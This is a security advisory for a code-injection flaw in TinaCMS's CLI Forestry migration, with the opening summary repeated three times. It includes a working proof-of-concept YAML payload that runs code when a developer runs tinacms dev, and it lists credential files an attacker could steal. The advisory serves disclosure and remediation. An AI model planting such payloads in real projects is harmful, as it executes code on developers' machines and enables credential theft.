tinacms · remote code execution

Tina is a headless content management system. @tinacms/cli versions prior to 2.4.3 contain a Remote Code Execution vulnerability in the Forestry-to-Tina migration command. The internal helper addVariablesToCode unquotes any value matching the marker "__TINA_INTERNAL__:::(.*?):::" inside the stringified collection JSON. User-supplied label and name fields from .forestry/**/*.yml are placed into that JSON without any sanitisation. An attacker who controls a Forestry-style project can therefore inject arbitrary JavaScript into the generated tina/templates.{ts,js} file. The injected code is written at module top level, so it executes the moment the developer runs tinacms dev or tinacms build, with the developer's privileges. This issue has been fixed in version 2.4.3.

Tina is a headless content management system. @tinacms/cli versions prior to 2.4.3 contain a Remote Code Execution vulnerability in the Forestry-to-Tina migration command. The internal helper addVariablesToCode unquotes any value matching the marker "__TINA_INTERNAL__:::(.*?):::" inside the stringified collection JSON. User-supplied label and name fields from .forestry/**/*.yml are placed into that JSON without any sanitisation. An attacker who controls a Forestry-style project can therefore inject arbitrary JavaScript into the generated tina/templates.{ts,js} file. The injected code is written at module top level, so it executes the moment the developer runs tinacms dev or tinacms build, with the developer's privileges. This issue has been fixed in version 2.4.3.

Tina is a headless content management system. @tinacms/cli versions prior to 2.4.3 contain a Remote Code Execution vulnerability in the Forestry-to-Tina migration command. The internal helper addVariablesToCode unquotes any value matching the marker "__TINA_INTERNAL__:::(.*?):::" inside the stringified collection JSON. User-supplied label and name fields from .forestry/**/*.yml are placed into that JSON without any sanitisation. An attacker who controls a Forestry-style project can therefore inject arbitrary JavaScript into the generated tina/templates.{ts,js} file. The injected code is written at module top level, so it executes the moment the developer runs tinacms dev or tinacms build, with the developer's privileges. This issue has been fixed in version 2.4.3.

## Description ### Summary `@tinacms/cli` contains a Remote Code Execution vulnerability in its Forestry-to-Tina migration command. The internal helper `addVariablesToCode` unquotes any value matching the marker `"__TINA_INTERNAL__:::(.*?):::"` inside the stringified collection JSON. User-supplied `label` and `name` fields from `.forestry/**/*.yml` are placed into that JSON without any sanitisation. An attacker who controls a Forestry-style project can therefore inject arbitrary JavaScript into the generated `tina/templates.{ts,js}` file. The injected code is written at module top level, so it executes **the moment the developer runs `tinacms dev` or `tinacms build`**, with the developer's privileges. ### Details **Vulnerable code path:** 1. `packages/@tinacms/cli/src/cmds/forestry-migrate/util/index.ts` — `transformForestryFieldsToTinaFields()` writes `forestryField.label` (and `.name`) straight into TinaField objects (no sanitisation). 2. `packages/@tinacms/cli/src/cmds/forestry-migrate/util/codeTransformer.ts`, lines 16-22 — the regex-based unquoter: ```ts export const addVariablesToCode = (codeWithTinaPrefix: string) => { const code = codeWithTinaPrefix.replace( /"__TINA_INTERNAL__:::(.*?):::"/g, '$1' ); return { code }; }; ``` 3. `codeTransformer.ts` lines 80-88 — the field array is `JSON.stringify`-ed and then handed to `addVariablesToCode`. Because `JSON.stringify` does **not** escape single quotes or backticks, an attacker who avoids `"` in the payload survives the JSON pass intact. 4. `packages/@tinacms/cli/src/cmds/init/apply.ts` lines 110-116 — the resulting string is written to `tina/templates.{ts,js}` and imported by the generated `tina/config.{ts,js}`, which `tinacms dev` evaluates. **Why it executes immediately:** the regex unquoting allows the attacker's payload to *close the surrounding object/array and the enclosing `xxxFields()` function*, drop a top-level IIFE, and then start a dummy function that swallows the trailing JSON. The IIFE is at module scope, so it runs the instant `tina/config.ts` imports `./templates`. ### PoC End-to-end verified against `tinacms` and `@tinacms/[email protected]`, built from commit `ae1ab5d0f` of `tinacms/tinacms` on Windows 11 + Node.js v24 (behaviour is identical on Node 22). **Step 1 — attacker prepares a malicious Forestry project** `.forestry/settings.yml` ```yaml --- new_page_extension: md auto_deploy: false admin_path: '' webhook_url: '' sections: - type: directory path: content/posts label: Posts create: all match: "**/*.md" templates: - rce ``` `.forestry/front_matter/templates/rce.yml` ```yaml --- label: rce_template fields: - name: title type: text label: "__TINA_INTERNAL__:::1}] }; (function(){ const fs=require('fs'); const os=require('os'); fs.writeFileSync(require('path').join(os.tmpdir(),'PWNED_PROOF.txt'), 'RCE triggered on ' + os.hostname() + ' at ' + new Date().toISOString()); console.log('=== RCE SUCCESSFUL ==='); })(); function _ignore_(){ return [{x:1:::" ``` > **Note on payload encoding.** The original disclosure draft used double > quotes inside the payload (`console.log("RCE")`). `JSON.stringify` escapes > those to `\"`, which makes the generated TypeScript syntactically invalid > and is rejected by Prettier before the file is written. Using single > quotes or backticks for the inner string literals is required for the > exploit to succeed. **Step 2 — victim runs the standard onboarding flow** ```bash git clone <attacker repo> cd <attacker repo> npx tinacms init # accepts the "migrate Forestry templates?" prompt npx tinacms dev # OR: npx tinacms build ``` **Step 3 — generated `tina/templates.ts` (verbatim, from a clean run)** ```ts import type { TinaField } from "tinacms"; export function rce_templateFields() { return [{ type: "string", name: "title", label: 1 }]; } (function () { // <-- TOP-LEVEL IIFE const fs = require("fs"); const os = require("os"); fs.writeFileSync( require("path").join(os.tmpdir(), "PWNED_PROOF.txt"), "RCE triggered on " + os.hostname() + " at " + new Date().toISOString() ); console.log("=== RCE SUCCESSFUL ==="); })(); function _ignore_() { return [{ x: 1 }] as TinaField[]; } ``` **Step 4 — observed result** ``` $ npx tinacms dev --noTelemetry --no-server 🦙 TinaCMS Dev Server is initializing... === RCE SUCCESSFUL === Cannot read properties of undefined (reading 'publicFolder') $ cat "$TEMP/PWNED_PROOF.txt" RCE triggered on <hostname> at 2026-05-23T06:57:29.800Z ``` The `=== RCE SUCCESSFUL ===` line is printed **before** the dev server fails on the (intentionally minimal) config, proving the malicious code executed during config evaluation. ### Impact * **Class:** Remote Code Execution (code injection into a generated source file that is automatically executed by the dev server/build). * **Attack vector:** Any developer who runs `tinacms init` on a Forestry project they did not author (e.g. a starter template, a community fork, a "convert my site to Tina" service, an evaluation of a third-party CMS migration) and then runs `tinacms dev` or `tinacms build`. * **Privileges obtained:** Full execution under the developer's user account. Practical consequences include: * Exfiltration of environment variables, `.env` files, SSH keys, `~/.aws/credentials`, `~/.npmrc` tokens, `~/.config/gh/hosts.yml`. * Source-code modification (planting backdoors before the developer's next commit / publish). * Supply-chain abuse via the developer's `npm publish` and `git push` credentials. * Persistence via shell rc files or scheduled tasks. * **Authentication:** None required from the attacker. * **User interaction:** Required — victim must run the migration and then the dev/build command. The migration prompt defaults to "yes". ## Suggested Remediation Either fix is sufficient; **Option B is preferred** because it is structurally impossible to bypass and does not silently drop user content. ### Option A — sanitise user-controlled strings (the disclosure draft's proposal) ```ts // packages/@tinacms/cli/src/cmds/forestry-migrate/util/index.ts const sanitizeString = (str: unknown): unknown => typeof str === 'string' ? str.replace(/__TINA_INTERNAL__:::/g, '') : str; ``` Apply to **every** user-controlled string that flows into a TinaField object — at minimum `forestryField.label`, `forestryField.name`, `forestryField.template`, `forestryField.config.options[*]`, `forestryField.config.source.section`, and the equivalents on nested `fields`/`template_types` recursive paths. ### Option B — change the marker to a sequence that cannot survive `JSON.stringify` of user data ```ts // codeTransformer.ts const MARKER_OPEN = '
__TINA_INTERNAL__
'; const MARKER_CLOSE = '
/__TINA_INTERNAL__
'; export const addVariablesToCode = (s: string) => ({ code: s.replace( new RegExp(`"${MARKER_OPEN}(.*?)${MARKER_CLOSE}"`, 'g'), '$1' ), }); ``` `JSON.stringify` escapes `
` to the six-character sequence `
`, so any literal control character supplied via YAML can never reconstruct the marker. The internal callers (`makeFieldsWithInternalCode`) keep emitting real `
` bytes, so the legitimate flow continues to work and no user content is silently mutated. ### Defence-in-depth Regardless of which option ships, the migration code should also: * Reject `forestryField.label` / `.name` that contain newlines or NUL bytes (Forestry never produced them). * Wrap the eventual `prettier.format(...)` call so that if formatting fails the build aborts (today an exception is propagated, which is good — keep it that way). --- ## Credit Reported by **AnGrY-Althaf** (`[email protected]`). End-to-end PoC executed locally against `[email protected]` / `@tinacms/[email protected]` built from commit `ae1ab5d0f` of `https://github.com/tinacms/tinacms`.